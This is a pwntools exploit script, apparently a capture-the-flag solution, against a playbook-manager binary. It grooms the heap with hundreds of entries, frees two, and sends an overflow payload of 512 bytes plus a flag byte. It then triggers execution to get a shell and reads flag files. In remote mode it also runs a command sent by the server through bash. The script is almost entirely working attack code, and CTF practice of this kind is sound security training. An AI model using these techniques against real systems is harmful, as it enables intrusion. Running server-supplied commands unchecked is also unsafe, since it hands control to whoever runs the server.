#!/usr/bin/env python
from pwn import *
from os import popen
from time import sleep

context.binary = e = ELF("chal")

gs = """
set follow-fork-mode parent
# b *0x4021C5
# b *0x402605
# b new_playbook
# b *0x401E69
b *0x4025B7
"""


def start():
    if args.LOCAL:
        p = e.process()

    elif args.REMOTE:  # python x.py REMOTE <host> <port>
        host_port = sys.argv[1:]
        p = remote(host_port[0], int(host_port[1]))
        p.recvuntil(b'You can run the solver with:\n')
        cmd = p.recvline().decode()
        log.info(cmd)
        ans = popen(f"bash -c '{cmd}'").read()
        p.sendlineafter(b'Solution? ', ans.encode())
    return p


def add(list_data: list[bytes]):
    p.sendline(b"2")
    p.recvuntil(
        b'Enter new playbook in the SOPS language. Empty line finishes the entry.\n')
    for data in list_data:
        # if len(data) == 251 or b'\n' in data:
        #     p.send(data)
        # else:
        p.sendline(data)


def remove(idx):
    p.sendlineafter(b"5. Quit\n", b"3")
    p.sendlineafter(b"Enter playbook id:\n", str(idx).encode())


def execute(idx):
    p.sendlineafter(b"5. Quit\n", b"4")
    p.sendlineafter(b"Enter playbook id:\n", str(idx).encode())


p = start()

# for i in range(1, 0x50):
#     add([b"note: " + b'A' * 0x30, b'STEP',
#          b"note: " + b'B' * 0x30, b'ENDSTEP', b'\n'])
#     remove(i + 1)

# add([b"note: " + b'A' * 0x30, b'\n'])
# execute(1)
# for i in range(0x4f):
#     p.recvuntil(b'Note: ')
#     if i == 0xa:
#         p.sendline(p8(i))
#     else:
#         p.send(p8(i)*251)

# sleep(1)

for i in range(1, 512+30):
    if i < 3:
        add([b"note: " + b'A' * 0x30, b'STEP', b'\n'])
    else:
        add([b"note: " + b'sh', b'\n'])
    log.info(str(i))


if args.GDB:
    gdb.attach(p, gdbscript=gs)
    pause()

# p.sendline(b'#'*249)
# p.sendline(b"2")
# p.recvuntil(
#     b'Enter new playbook in the SOPS language. Empty line finishes the entry.\n')
# p.send(b'note: ')
# for i in range(250-7):
#     p.send(b' ')

# pause()

# p.proc.stdin.close()
remove(512+20)
remove(512+21)

add([b'ENDSTEP', b'ENDSTEP', b'STEP', b'note: '+b'1'*(512)+p8(1 | 2), b'\n'])

execute(512+22)

p.sendline(b'\ncat /flag ; cat /flag.txt ; cat flag.txt ; cat flag')

p.interactive()
